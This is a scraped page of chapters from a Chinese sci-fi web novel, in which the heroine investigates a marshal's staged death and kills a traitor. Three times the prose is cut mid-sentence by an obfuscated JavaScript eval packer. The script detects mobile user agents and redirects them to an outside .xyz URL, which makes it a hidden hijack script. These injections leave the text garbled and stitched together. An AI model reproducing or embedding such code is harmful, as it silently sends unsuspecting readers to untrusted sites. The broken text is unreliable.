残损的空间门后相当于一个坍缩的异变空间，所有的声音全被吸了进来。这里的时间流速显然也与在外界的时间流速不同。 颜惜花了好久才找回自己还存在着的感觉，她指尖微微动了一下，触摸到了防护服柔软的面料。她猛地清醒了过来，晃了晃脑袋。 她回头看去，一片阒寂，回头已经看不见从空间门外透过来的光。 颜惜摸到了自己系在腰间的机械表，此时所有电子钟都已经被磁力干扰，不能使用。只有依靠石英机械还在走动的转针还能滴答滴答地转动。 现在是14：23。 颜惜按住防护服外的推进器按钮，推动自己往前行走。 索性空间门一般都做过危害预防处理，即使被炸坍缩了，也不会像真正的黑洞一样产生巨大的吸力使所有东西都无法逃逸。 空间门后到正式开始跃迁大约有五百米的距离，这之间其实有一个长度较短的空间通道，为了让人的引力产生适应，在所有人在走完这一整个空间通道后才会正式开始跃迁。 颜惜想去真正的跃迁点那边看一看。 从当时传回来的画面以及程和安的描述来看，顾嘉他们和星云小队都是在彻底进入空间门后，那个安置在空间门边的炸药才真正爆炸。 可以确认当时所有人都还处在这个通道之中，颜惜甚至怀疑走在最前面的那几个甚至已经触及到了真正的跃迁点位。 按照颜惜刚才观察的空间门情况来看，空间门是从内部被炸开的，可以推断出那枚炸药是在隐藏通道内，等到有人经过埋藏炸弹的地方，炸弹自动被压感引爆，炸毁了这个隐藏通道，导致整个小队全部无法迅速躲闪，最后只能随着隐藏通道的断裂，葬身在茫茫太空里。 颜惜很谨慎。在这样一片黑里，她根本看不清这条隐藏通道是从哪里开始大幅断裂的。再加上同时失去了五感，她时不时需要停下一会儿来缓和自己的感官违和感，这才能继续前行。 她大概走了五十米左右，感受到脚下的通道里堆砌着的爆炸时产生的碎石逐渐变多，通道给颜惜带来的实感也越来越稀薄。颜惜蹲下身来，试探着触碰她脚下的碎片。她摸出来了——那是十年前，星云小队使用的载人小型穿梭舰。 颜惜的心不断往下沉。她的心情在触摸到了一件破损的防护服的一角时沉到了最低点。这里就是当时事故发生的第一地点。颜惜猜测通道的断裂带就在前方。所有人包括穿梭舰船的主体，都是从前方的那个断裂带里掉下去的。 颜惜放慢了速度。 突然她的脚下一空，由于此时她的感官被无限削弱，导致她的反应慢了一拍，她整个人都往下坠去！ *** “怎么办？”荆宁抓着头发，“我们担不起这个责任！林璀将军要是问责下来……” 爱德华兹脸上也有了明显的焦急之色。 “她为什么突然间往那扇坏掉的空间门后面去？她在这个动作之前说了什么？”爱德华兹问道，“她……” “她说……”他的语言滞涩住了，“我说，没有人调查过里面的情况。” “什么？没人调查，于是她就去了？”荆宁皱起眉，联想起了颜惜她在来这里之前说他们这群人只是在假惺惺地讳疾忌医，不由得联想道，“她难道是顾嘉元帅的狂热粉？为了这事情连命都不要了？” “都什么时候了，你还在说这些。”爱德华兹也皱起了眉，“顾嘉元帅……” 恍若一道电光突然劈过爱德华兹的大脑，他像是被电了一下，隐藏在大脑深处的一点零碎记忆突然冒了出来。 他想起了为什么会对颜惜这人感到眼熟。她现在的长相和当时早就不一样，爱德华兹看得出她使用了虚拟面具技术，改变了她的面部面貌——但是爱德华兹见过太多人，况且他在进入军部前学的还是侦察学——一个人从童年期到成年期，许多方面都会改变，但是一个人的整体气质、骨骼走向、身体仪态中始终会保留着以前的一些影子。 他曾经在很多很多年以前，见过还在童年时期的她。 顾嘉……元帅…… 当年顾嘉刚刚成为帝国的唯一军部统领，加封了元帅军衔，而他作为顾嘉军部里的亲信前往顾嘉的宅邸里道贺。 他就是在那里，看到了那位顾嘉从荒星上带回来的孤儿。她穿着一声过膝黑裙，身形纤瘦，孤身一人坐在顾嘉家中庭院池塘旁的那架木秋千上，她的五官但看起来都很普通，但是组合起来却有种怪异的、让人晕眩的感觉。 她目光空茫，但似乎又聚焦在眼前虚空中的一个点。她膝盖上的书已经掉到了地上——爱德华兹看清了书的封面，那是一本古代神学有关的书，晦涩深奥，在星际时代已经没什么愿意去阅读。顾嘉把她藏得很紧，几乎没什么人见过她，哪怕爱德华兹是顾嘉的忠心手下，所知道的也不多。只知道她是一个在工业星大爆炸里幸存的遗孤，顾嘉路过那个爆炸的工业星，将她带了回来。后来顾嘉收养了她，给她取名叫—— 顾闻希。 *** 颜惜在坠落的第一时间就察觉到了不妙，她迅速地打开了精神力，开启了戒指，拿出了那枚小型虫洞，直接将所有的精神力注入了这个小型虫洞里。小型虫洞迅速地散发出了幽蓝色的光，而后形成了一个小型的漩涡。 再快点！颜惜感受到了下坠的感觉——五感恢复了，那说明她快要掉出这条通道了。这很不妙，因为一旦她掉出了通道，就要彻底暴露在了外太空里，先不说氧气的问题，就是宇宙辐射，也会直接穿透她身上的防护服。 漩涡不断变大，终于构成了一个可以容纳一个人通过的小小门洞。 颜惜在空中扭转身体，找到了一块小小的通道碎屑，脚下一踏，终于借力转进了那个临时做出来的小型空间门。 这种自制的小型空间门似乎可以由制造者自己控制方向。当时在辐射赛场到辐射主星上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15538322|168381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的路程中，颜惜感受到了段迟凛的精神波动，那似乎就是在调控空间门的方向。 颜惜模仿着段迟凛当时的精神力波动，调试着自己的精神力强弱，终于找到一个适合的精神力强度，避免自己方向把控过于过火。她尝试着往她掉下来的方向传送了回去，再往通道的原有方向走去。 在似乎触及到了边界时，颜惜终于跳出了这个仅容她一人通过的空间门。 还真的挺好用，相当于随时随地带了个短途的传送门。颜惜腹诽道。只是有一点颜惜想不明白。为什么当时格鲁吉亚造出来的空间门要比颜惜现在自己做出来的临时空间门要大上许多，传送空间似乎也要比她的要远。颜惜不认为自己的精神力比任何人弱，那难道时是因为对方的硬件设施比她的要好？ 不过现在也不是想这些的时候。颜惜的双脚触碰到了通道的底端。 她抬起眼，伸出了双手，触碰到了边际——那是真正的跃迁点。 这里在十余年的岁月里没有除颜惜外的第二个人前来造访，或许是因为下手的人笃定炸断通道后没人能够成功活下来，也或许是觉得进入了坍塌的空间门后只是无畏的牺牲，对方根本没有派出任何人手来这里查看情况。 颜惜的手搭上了跃迁点。她感受到了一丝熟悉的精神力波动—— 隔着十年时间，依旧锋芒毕露的一丝精神力。 来自顾嘉。 *** 空间门外，爱德华兹愣住了。 “不必去找了。”他突然沉静地说，“或许，说不定，她真的能找到些什么东西呢。” “万一呢，”他喃喃地说，“万一她就找到了当年的真相。” *** 暗无边际的通道里，让人五感尽失，但颜惜却感受到了自己胸腔里正在雀跃跳动的心脏。越来越快，似乎是凝固了很久的血液也伴随着这跳动而活了过来。 顾嘉有可能没死去的事实已经足够颜惜感到兴奋。 但是……她又迟疑了。顾嘉的精神力点数是94点，根本不足95点这个能够主动不借助任何外部设施进行空间跃迁的临界值，而根据爆炸的严重程度，颜惜不认为当时的小型穿梭舰还能完整地存留下来。在没有外部设施的情况下，顾嘉就算已经成功通过了隐藏通道，达到了跃迁点的位置，也无法成功进行跃迁。 颜惜再次试图去感知那一缕在跃迁点上的精神力，试图感知这丝精神力去往了哪个方向。 但显然是徒劳。时隔漫长的岁月，这缕精神力已经成为了最后的遗存，颜惜再也找不到其他的东西。 颜惜放下了手。 她转身往身后回退，同时手里摸出了那一枚人造虫洞，再次灌入精神力，制造出了小型的空间门。她走了进去，将空间门的开口放置到了那扇外面的坍缩了的空间门的地方。 她没回头，径直走了出去。 外面刺眼的光打在她的眼皮上，颜惜死死闭上了眼睛。猛得从黑暗的环境离开，乍然遇到光明，她的眼睛感到了一阵刺痛，连带着眼角也泛出了些微的潮湿来。 36. 做出抉择 颜惜向来不喜欢做选择。 选择对她来说是个伪命题，那甚至不是单纯的多选一，因为在她过去的二十二年人生里，一旦她面临着做选择的时候，往往就是她被迫需要舍弃掉其他她未选择的东西。这是一种牺牲，是一种遗弃。 对颜惜来说，掌握着这种所谓主动权的时候，反而没有那么顺心。因为她向来擅长在绝境里逆风翻盘，铤而走险的次数多了，这种落于下风的主动选择对她来说反而没了吸引力。 选择等于抛弃未选择。抛弃掉无数种可能性的感觉并不好受，颜惜经常会思索，如果当时选择了另一条路，她如今会怎么样。但是颜惜从来没有后悔过。因为她相信她做出的选择都是最好的。 就像此刻她坐在林璀的办公室里，坐在林璀的对面，和她一起看着面前的沙盘。 “所以呢？”林璀神态自若，“你选好了吗？” 此时已经是四天后。 颜惜从那扇坍塌了一半的空间门后走出来时，外面的时间已经过去了三天。 颜惜进去时带着机械表，表上显示，在空间门后的坍缩空间里，时间只过去了半个小时。内外的时间流速相差如此巨大，这是颜惜没有想到的。 她出去的时候，林璀居然也在外面等着她。似乎是星云小队的那些人在她进入坍塌空间的第一刻就报告给了林璀，林璀居然能在百忙之中抽出时间赶了过来。林璀倒是什么话都没问，但是星云小队的那位统领爱德华兹的眼神却一直落在她的脸上，实现太过明显，颜惜还以为他要试图透过她脸上的伪装，看到她原本的面貌。 颜惜出来后什么话都没和别人说，只是径直跟着林璀回到了地下基地。 颜惜并没有把所有事情都告诉林璀，而是将自己的困境大致讲述了一番，含混其词地询问林璀，该如何做出取舍。 “所以你现在面临着两个选择，”林璀将一条腿架到膝盖上，脱下右手的手套，机械肢体在自然光下泛出冷冷的光，“你觉得含宁实验室和科致医院实验室是同一批人建造的，而且你已经确认了主理人是谁——现在有两条路，一条路是回到中央星，继续回到多方监视的境地里，失去一部分自由，但好处是能继续和幕后主理人近距离接触；另一条路是你继续留在军部，有自由。” 颜惜点点头，迟疑了半晌，还是开口道：“而且如果能留在北部星群……说不定有很渺茫的一个机会……我可能会找到我想要找的人。” 她没把顾嘉的名字说出口。 “那你怎么想的？”林璀看着她。 颜惜一直是一个径直往前走不管不顾他人意见的人，此刻难得迟疑。 “我想知道你的想法。”颜惜对视了回去，“因为你也是受害者之一，我想要知道你的立场。” 林璀如今成功成为军部一把手，性格沉稳，总是让人忘记，曾经她也曾艰难地生存，而后被暗算，带进含宁实验室里，砍掉了右手，泡进了暗无天日的实验室培养皿里，后来机缘巧合之下才得以脱身。 “我？”林璀挑挑眉，“颜惜，我有没有和你讲过我当时如何从含宁实验室脱身？” *** 林璀和其他三个被连接到一起的实验体其实算是被莱塔诺放走的。 那是莱塔诺做出决定前的最后一天。她没有直接打开那个培养皿，而是关掉了对实验体使用的精神力限制器——这东西之前被用来限制实验体，以防他们的精神力外泄，干扰实验，同时也防止他们逃跑。 林璀是这四个人里状态最好的，勉强还留存着一丝意识，她感受到精神力像干涸的泉眼再次冒出泉水那样，从躯干深处涌现出来。 后来莱塔诺和哈鲁想要离开含宁实验室，但是却被那个主理人带走了。从那以后林璀再也没见过她。 莱塔诺离开前似乎还留了一手，将这个消息透露给了其他人。至于是谁，她并没有透露。这些话是她隔着厚厚的透明容器罩子对着培养皿里的他们说的，林璀不知道她是不是知道了自己尚还存在着意识，也不知道她那到底是在自言自语。但是在莱塔诺被抓走不久之后，这颗星球附近的卫星就发生了大爆炸。那颗卫星的位置十分特殊，引起了连环爆炸，导致整个星系的辐射程度都不断上升，不断有人出现辐射病的情况。 帝国的灾难紧急应急预案启动，议会审理了不到三天，就决定将所有尚还有行动能力的人撤出这个星系，而后将整个星系使用人工建材封锁。十年后已经无人记得这个星系的本名是什么，只给它冠名为辐射星系。 林璀没能等来莱塔诺找来的救兵。她只能自救。 大撤离的时候林璀刚恢复了意识。她挣扎着想要发出声音，但是只能眼睁睁地看着实验室的大门在她的眼前逐渐合上。最后一丝光亮从她的眼前褪去，林璀也陷入了绝望。实验室有着自己的一套发电系统，因此在星系封控之后并没有断电，培养皿里的营养液运输和氧气置换始终还在工作。 林璀绝望地看着眼前的一片漆黑，和她连在一起的那几个实验体依旧在昏迷的状态里，林璀试图使用自己的精神力唤醒他们，但多次尝试都无果。 在这种境况下，如果她没能成功逃生，只会一直被困在这里，清醒着死去。 林璀不接受这样的结局。 她的四肢在营养液中无法按照她的想法来行动，她唯一能控制的只有她的头部，于是她附着着精神力，一下又一下地撞击着透明器皿。 鲜血横流。 但林璀不在乎。 在这个过程中，在林璀右侧的女人醒来了。长久的沉默，林璀被浸泡着，开不了口，无法和她交流。林璀很着急，她想要离开，她还有要做的事情没做完。 尽管精神力束缚被解开了，但培养皿的麻痹效果依然还在，林璀始终无法控制自己的肢体。而在这时，在林璀身侧的那个女人指了指自己，又指了指林璀，最后指了指实验室的大门。 林璀不明白她是什么意思。尽管她们是第一批成功的实验品，四人精神力被强制连接，但这种方式下她们始终无法成功使用精神力。 突然，一股温和又强大的精神力和林璀的精神力链接上了。 林璀愣住了。 是在她身侧的那位女士的精神力，她主动将所有精神力全部输送给了林璀——这种行为的结果显而易见，她即将陷入精神力衰竭，而后失去意识，死于这个培养皿中。 林璀和她对视着，两人之间明明一句话也没有说，但林璀却明白了她的意思。她在实验室的摧残下身体已经无比孱弱，哪怕出去了也时日无多。索性她将自己所有的精神力通过那个人造的通道输送给林璀，希望能帮助林璀离开这个培养皿。 彼时的林璀不知道，其实在这种绝境下，她与那位女士完成了一次彻彻底底的、真正的精神力链接。这次真正的链接粉碎了林璀原来的精神力界限，刹那之间，限制被打碎了——林璀的精神力跃升至93点。 她将所有精神力全部汇集在自己的额前，奋力一击，终于在培养皿上砸出了一道裂隙。 外面的空气透了进来，里面的营养液汩汩地流了出去。林璀终于砸碎了那巨大的白云晶，砸碎了困住她的牢笼。 她拖着其他三个人爬了出来。那个三号小女孩和四号中年男性已经陷入了深度昏迷，出来不久之后就彻底失去了生命体征，而在林璀身边的二号女性在精神力干涸前还存留着一口气。 “真好，”她说，气息虚弱，近乎呢喃，“你活着出来了，希望你一路顺利，能成功逃离这里。” “如果……”她望着林璀的眼睛，“如果你真的能离开这里，能不能帮我一个忙？” 林璀答应了。 女人说完了自己的要求，气息愈发虚弱了下去。 她死前最后一句话，是告诉林璀她的名字。 “我……叫……路原舒……” 林璀看着眼前的人就这样死去。 她拖着三个死人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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颜惜这还是第一次听说，真实成功的精神力链接案例。之前在帝国里也有类似的说法，说两个人的精神力彻底链接后，会使双方的精神力都大幅跃升，但这只能算是一个流传已久的传说，无数人尝试过无数种方式，但最后都以失败告终。 颜惜以前一直把这个说法当笑话来看，但林璀这个情况让颜惜迟疑了。 不过这不是目前她最主要考虑的事情。 “你告诉我你过去在含宁实验室的经历，是想我选择哪一条路？”颜惜问林璀，“你觉得我应该选择回到中央星，而不是为了一个虚无缥缈的可能放弃目前已知的东西？” “选择权在你，颜惜。”林璀说，“我只是告诉了你我的过去，而你的未来是属于你自己的，我无权为你做选择，也无权对你背负未来。” “我不是一个贪心的人。”颜惜想了想，终于开口说道，“我想要的东西并不多。可是偏偏我得到了的东西总是被人剥夺走。” “但是这次，我想要贪心一点。”颜惜自言自语道。 “那个虚无缥缈的可能性对我来说是溺死前的最后一根稻草，我会竭尽全力抓住它，哪怕是假的，但如果我放弃了这个可能性，我会懊悔一生。”颜惜自我剖析道，“但我也做不到放着近在眼前的幕后黑手继续肆意妄为下去，我不是圣母，但也做不到袖手旁观。更何况我努力了那么多年，终于找到一个可以报复回去的机会。” “我两个都要。”颜惜最后做出了决定。 “我会回到中央星。”颜惜站起了身，她的神色不复往日的嬉皮笑脸，“康特家有问题，我就打碎康特家。议会在助推，我就清洗议会。皇室想要作壁上观，我就把他们拉下水。” “等做完这些，我会亲自去找这个可能性。”后半句话颜惜没说出口。她想说，如果顾嘉还活着，那她排除万难也要去找她，如果她死了，那她亲自点燃焚烧帝国的第一把火。 林璀看着她。没说话。 “自由是可以舍弃的。”颜惜说，“我已经舍弃了对我来说最宝贵的自由整整七年，那么代价等偿，我也该得到我应得的东西了。” 37. 说到做到 颜惜坐在一艘巨大的载客穿梭舰上。 这种舰船的最大载客人数为1000人，颜惜坐的这艘并没有坐满人，于是她选了一个在窗边的位置。从这里看下去刚好能看到下方的北部星群的景色。 颜惜看着穿梭舰掠过下方无数群星，精准地从下面的星群里找到了她曾经的故乡洛伽星群。她的目光落在洛伽星群边缘一颗小小的星球上。从这里看过去，云岚星只是一个小小的光点。但是颜惜的目光不可控制地长久停驻在上面。 突然穿梭舰尾部传来一阵巨大的震荡。 颜惜被震荡波狠狠甩到了前方的座位上。还没等她缓过神来，身后的穿梭舰尾部就又发生了一次爆炸，整个舰舱尾部都没火光淹没。 但是整个舰舱里却没有一丝声音，甚至连呼吸声都听不到。根本不像是坐了六百余人的巨大客舱。 “啊，终于来了。”颜惜扶着前面座椅的靠背站了起来，她擦了擦脸颊，刚刚剧烈撞击在前方座椅上，她被尖利的小桌板棱角划破了脸侧，有细细的血珠漫了上来。 颜惜抬手，在光脑上划出一个触控屏，点击关闭虚拟投影，整个舰舱内的乘客瞬间消失了。空空荡荡的舰舱内只剩下颜惜一人。 “怎么？还不出来吗？”颜惜看向舰舱后方被炸出一个大洞的地方，“我可没那么多耐心。” 风猎猎卷过舰舱，爆炸后燃烧的焦磺味和□□的硝烟味并不好闻，刺鼻的味道充斥着这个空间，与此同时舰舱在不受控制地往下坠落，但颜惜像是没事人一样，依旧散漫地站在她的位置上，目光看向舰舱尾部。 “……”一个人影从火光和浓烟中走了出来。 颜惜认出了这人是谁。她挑了挑眉。 “真是你们啊。”颜惜笑得眯了眯眼，“一钓就上钩。” *** 颜惜并不是临时起意要打造一艘无人舰舱的。科致医院地下的实验室被整个炸了个干净，宋书也被颜惜安排了“在爆炸里丧生”这个假死原因，颜惜脑子并没有坏掉，会认为科致医院实验室背后的主理人会觉得这真的是一个意外。 哪怕颜惜当时在北部基地使用了假身份，但是当时她明面上的身份是跟在林璀旁边，林璀当时就在北部基地，她一回到中央星，肯定又会被诘责到底知不知道当时发生了什么事。 颜惜叹气。她只是觉得有些可惜，她费尽千辛万苦低声下气了七年，差一点就能打入内部了，功亏一篑，这下努力又全部打水漂了。 但反正她已经决定要直接搞最大的事了，索性她就做的更大一点。 颜惜直接让自己精于数据网络加密的朋友帮自己给长老院的二长老安德鲁·康特——也就是之前一直和颜惜联络的令人讨厌的天天让她做事的那位上司，发了一条加密消息。 “科致医院地下实验室被人秘密潜入了，是林璀手下的人，实验室已泄密。ta明天即将乘坐载客舰船回到中央星。” 这位朋友很擅长在做加密网络讯息，之前她想要潜入中央星，造了一份假的基因检测报告，基因是宋书帮她伪造的，而这份报告的大幅泄露则是这位朋友的手笔。她也是为数不多在一开始就支持颜惜的人。 发完消息后，颜惜就问林璀要了一艘无人的巨型客轮，再借用虚拟投影技术伪造成多人乘坐的状况。 这份信息很有意思，信息里并没有准确透露时间，也没有透露出她乘坐的是哪艘舰艇。按理说不应该被人精准地找上。但是颜惜实时监测了其他同一天启航的从北部前往中央星的穿梭舰，并没有任何一艘舰船受到攻击。但是安德鲁·康特派来的人精准找到了颜惜所在的舰船。 颜惜只将自己乘坐的舰船信息透露给了两拨人，一批是林璀和帮她伪造客舱的手下，另一批……则是星云小队。 显而易见，里面出了叛徒。 颜惜排除了林璀和她的手下。如果他们要动手，肯定会有比这更方便更隐蔽的手法。那么……答案显而易见。 颜惜的目光落在了眼前从火光里走出来的人。 “好久不见？”颜惜打了个招呼，“你似乎没想到是我？” 戴勒·金在看清楚是客舱里唯一剩余的活人是颜惜的时候确实愣了一下。 “是你？安德鲁说你很信任他，”他眯起了眼，不过片刻就似乎是想明白了，“没想到你转头投靠段迟凛去了，怪不得格鲁吉亚说你当时在甲板上还想着去拉段迟凛。” 他似乎误解了什么，颜惜嘴角抽了下，但是她倒是没有解释。 “可惜了。”戴勒很高傲地说，“本来安德鲁都像家主申请了给你增强精神力的资格，偏偏你选择了错误的一方。那只能在这里解决掉你了。” “等等。我想先问问。”颜惜笑眯眯地说，“你说的增强精神力指的就是挖下别人的精神力器官，然后移植到手术者的耳后？然后再给他植入大脑精神逻辑指令，最后变成你们的傀儡吗？” 戴勒的脸上露出了一丝震惊，不过片刻以后就被阴戾代替。 “谁告诉你的？”他问道，“段迟凛怎么知道这件事的？” 他伸手想要去掏自己的通讯器，给自己的舅舅拨打通讯，余光里却突然看到一道剑光朝他袭来。 他猛得向后退了几步，稳住了身形，躲过了颜惜刺过来的一剑。可惜手里的通讯器没拿稳，被颜惜挑落在地。 颜惜直接抬脚上前，那支通讯器瞬间在她的军靴下被踩碎成了齑粉。 戴勒反应很快，从后腰里拔出手枪，他的这把枪是特制的，口径大，后座力强，火力也强大，带有自动瞄准，可以瞬发，也可以连射。他直接瞄准了颜惜的额心，接连开了三枪。 颜惜目光落在他的指尖。他开枪的时候往里面灌了精神力，这三枚子弹的速度和威力都大幅提升。颜惜速度更快，直接在他开枪的瞬间将身体重心降低，蹲下了身，借着舰舱走廊的倾斜度直接划向了戴勒那个方向，在靠近他的时候反身伸腿，狠狠地踹在戴勒的左脚脚后跟，将他踹地一趔趄。 戴勒的三发子弹直接炸穿了最前方的驾驶舱，幸好里面都设置了自动驾驶，并没有人伤亡，只是舰舱前部也起了火，下坠的程度越来越快。 不能再拖了，再拖下去整个舰舱都要爆炸。颜惜趁着戴勒还没站稳，直接用剑撑地站起了身，反手将剑锋往戴勒脖颈上抹去。 戴勒虽然没站稳，但此时的他不再伪装，显露出了和当时在辐射赛场上完全不同的气质，颜惜看得出来他的一招一式都是经过长期的训练的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570565|168381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，基本功很扎实，和当时在赛场上的软脚虾门外汉的新手样子完全不同。 他也压低了重心，抬起手拿枪托硬生生抵住了颜惜的剑。 颜惜用的力气很大，可惜她的剑是轻剑，硬度并不高，反而柔韧性很好，轻剑在两相作用的力道下微微弯曲，因此并没有能彻底将戴勒抬起的手压下去，反而给他找到了二次开枪的机会。 两人的距离很近，他直接对准颜惜的腰部又开了两枪。 距离太近，颜惜此时避不开，哪怕她在衣服里面穿了防弹服，也抵抗不住近距离的两发精神力子弹。颜惜眸光暗了下来，直接在腹部皮肤上凝聚起精神力，形成了精神力保护屏障。 尽管如此，颜惜还是被巨大的推力推得往后退了好几步，腹部也传来一阵强力击打后传来的钝痛。 颜惜闷哼一声，右脚弯曲，整个脚掌着地，顶住了身体往后退的动作。 戴勒见颜惜一时落于下风，立刻想激活光脑给其他人发消息。光脑可以设置连接大脑，脑电波直转消息的模式，再加上帝国网络速度很快，发消息的速度快得吓人。 可惜戴勒还没打开光脑，下一秒颜惜的剑就又甩了过来。 戴勒没想到颜惜恢复的速度这么快，但他不想错过这个朝外界求助兼发送消息的机会，于是左手捏着光脑，右手单手持枪，想要直接结束颜惜的性命。 “不对！”他突然惊愕地睁大了眼睛。他的目光落在了颜惜的腹部。那里毫无伤口的痕迹。“精神力屏障只有精神力95点以上才会使用，你怎么可能！” “废话真多。”颜惜冷笑，“我可不像你们这群靠抢别人精神力的假货。怎么，难道就只允许你们精神力能在95点以上？” 戴勒这下精神迅速紧绷了起来。事态转变地太快，超出了戴勒的想象，他现在只想迅速地逃出去，而后给他的姐姐通风报信，他一个人解决不了现在的状况。 他想要让在外面驻守的其他手下也进来帮忙，可惜他忘记了他来前信誓旦旦地命令手下不许靠近，他要自己去看看林璀的手下到底有几分本事。 颜惜也没给他机会，趁着他分神的时刻，一剑挑断了他手上光脑的链子。 光脑从戴勒的手上掉落，在空中下落。颜惜一剑劈向了光脑，与此同时反身一脚将戴勒往墙壁上踹去。 戴勒被颜惜的突然暴起以及颜惜这样的废柴居然有95点精神力给震惊到了，来不及反抗，整个人被颜惜掼到了舱壁上。整个人在空中被颜惜踹得都扭曲了起来，甚至来不及反应过来，建立起精神力屏障。他后背重重地砸到了舱壁上，传来了骨头断裂的清脆声响。 颜惜在他眼前一剑劈开了光脑。光脑被轻剑直接劈成了两半，里面的精密机械元件掉了一地，电池都被砸碎了。 戴勒暗道不好，拿出腰间收纳着的小型虫洞，催动精神力，准备直接传送到他来时的穿梭舰上。 “想走？”颜惜的速度更快。 她像鬼魅一样直接缠了上来。 “走不掉的。”她幽幽开口。 “你也逃不掉，你姐姐也逃不掉，整个康特家都逃不掉。”颜惜云淡风轻地说，“议会也逃不掉，长老院也不行。” “我说到做到。” 38. 第一滴血 戴勒浑身像是针刺一样的痛。后背的脊骨大概是断了，背后的舱板都被砸得深深陷了进去。 颜惜踹他的那一脚用了全力，没想到她并不算高大，爆发时的力量却到了这种惊人的程度。 他手里捏紧了小型虫洞，拼尽全力想要往里面灌精神力，催动临时小型通道。 空气里慢慢浮现出了空间门洞口的雏形，还没等他挪进去，下一秒，颜惜就闪身到了他的眼前。 她双手持剑直接正对着他的面门劈了下来，剑光倒映着船舱内惨白的灯光，落到了他的脸上，映照出了他惊恐的神情。 生存本能和肌肉记忆迫使戴勒迅速转身，拿枪托扛下了这一剑，但是这次显然与上次不同，颜惜将精神力灌注在剑柄身上，一剑直接劈断了戴勒的枪托，戴勒来不及建起皮肤表层的精神力保护屏障，剑锋继续往下，硬生生劈开了戴勒的半只手掌。 戴勒的左手手筋被斩断了，手背上的动脉也被横切砍断，血液“嗞”地喷涌而出，呈喷射状，溅到了颜惜的半边脸上，有几点甚至溅进了颜惜的眼睛里。 颜惜眨了眨眼，咧嘴笑了起来。血液随着她脸部肌肉的细微动作滑落了下来，淌过颜惜的半边脸颊。颜惜手上戴着军用手套，随手抹了一把脸上的血，右手动作不停，持剑直指戴勒的腹部。 戴勒手里捏着维持空间门的小型虫洞，想要找个机会趁乱钻进去逃跑。但是颜惜的剑风像是密不透风的网，每一道都封死了他去往空间门的路。戴勒彻底被颜惜架死在了原地，能发出求救讯息的电子仪器全被颜惜毁掉了，他只能负隅顽抗，一点点被颜惜消耗掉状态。 戴勒此刻早已不复当初的自信，唯一的想法就是“快逃”！他根本抗不过颜惜的又快又重的攻击。戴勒一边绝望一边在心底疑惑，她到底是什么时候学成的精神力攻击？戴勒从三岁开始就和他的姐姐一起接受精神力训练和格斗训练，他看颜惜的招式绝对不相信颜惜真是个自学几个月就成才的天才。她的动作又快又狠，但是下盘稳得吓人，绝非一日之功。 但是颜惜在中央星的七年里，一直安安分分地呆在长老院的眼皮子底下，就算长老院鞭长莫及的地方，皇室也严密注视着她的一举一动。那她到底是什么时候学会的精神力武器使用？ 突然有个念头浮现在他的脑海里。或许……颜惜根本不是颜惜。她并非是什么所谓的和段迟凛匹配度高达99%的柔弱、贪婪、见风使舵、见识短浅的来自荒芜星的孤女——她一直在演！装小白花，装无辜，装得好像很蠢，所有人都被这个彻头彻尾的骗子骗过去了！ 戴勒的瞳孔不自觉地猛得收缩。 颜惜的剑再一次劈了下来。这一次，他失去了所有反抗的力气。 “噌”的一声，剑锋嗡鸣，颜惜一剑捅穿戴勒的身体，将他钉在了舰舱的地板上。 “你……你到底是谁……”戴勒大口大口地吐着血。颜惜的剑捅穿了他的心脏，但剑刃很薄，颜惜也没收回手中的剑，因此戴勒还获得了一点苟延残喘的时间。“你又是……怎么知道的……” “我是谁？我怎么知道的？”颜惜漫不经心地掏出帕子擦着脸上的血。经历了大约一刻钟的打斗，她居然气息都没怎么紊乱。 “既然你都要死了，那就告诉你好了。”颜惜笑眯眯地靠近戴勒，一脚踩在了他想要偷摸摸向身后小型虫洞的右手上，“咔啦”一声，他右手的腕骨被颜惜踩碎了。戴勒整个人像烂泥一样瘫软在地上，身上全是大大小小的伤口，他喘着粗气，显然是已经开始呼吸困难。 “自从顾嘉不明不白地死掉的那一刻开始，我就开始怀疑你们了。我不相信什么见鬼的空间门跃迁点事故，”颜惜说，“我一开始还以为是皇室搞的鬼，毕竟顾嘉一死，军部一倒，属他们跳的最欢，又是开办什么悼念会又是收编星云小队，还拿到了一部分编队控制权，简直是百利无一害。所以我才搞了个假身份混进皇室里去，想着先从皇室里下手。” “没想到段迟凛居然还是个有一颗正直向善的心的傻子。”颜惜挑挑眉，“皇室只是在谋害顾嘉的这件事里小小的推波助澜了一把，想要坐山观虎斗。没关系，现在我要回去了，拖他们下水也是易如反掌，他们别想好过。” “刺杀顾嘉这件事，说难也不难，但说简单，也不简单。”颜惜说，“营造一个小小的空间门事故对你们来说易如反掌，简单、方便，还不容易有嫌疑，但难就难在，顾嘉的所有行程都是保密的，当天顾嘉他们一进空间门，后脚你们派遣的人就来了，真是好难猜啊，星云小队里出叛徒了。” “不过没关系，我已经找出人来了。”颜惜笑笑，“不然我为什么还特意大张旗鼓地去一趟外环星呢，要是想去事故现场我直接去就是了。” 戴勒的气息越喘越急促，越来越微弱。 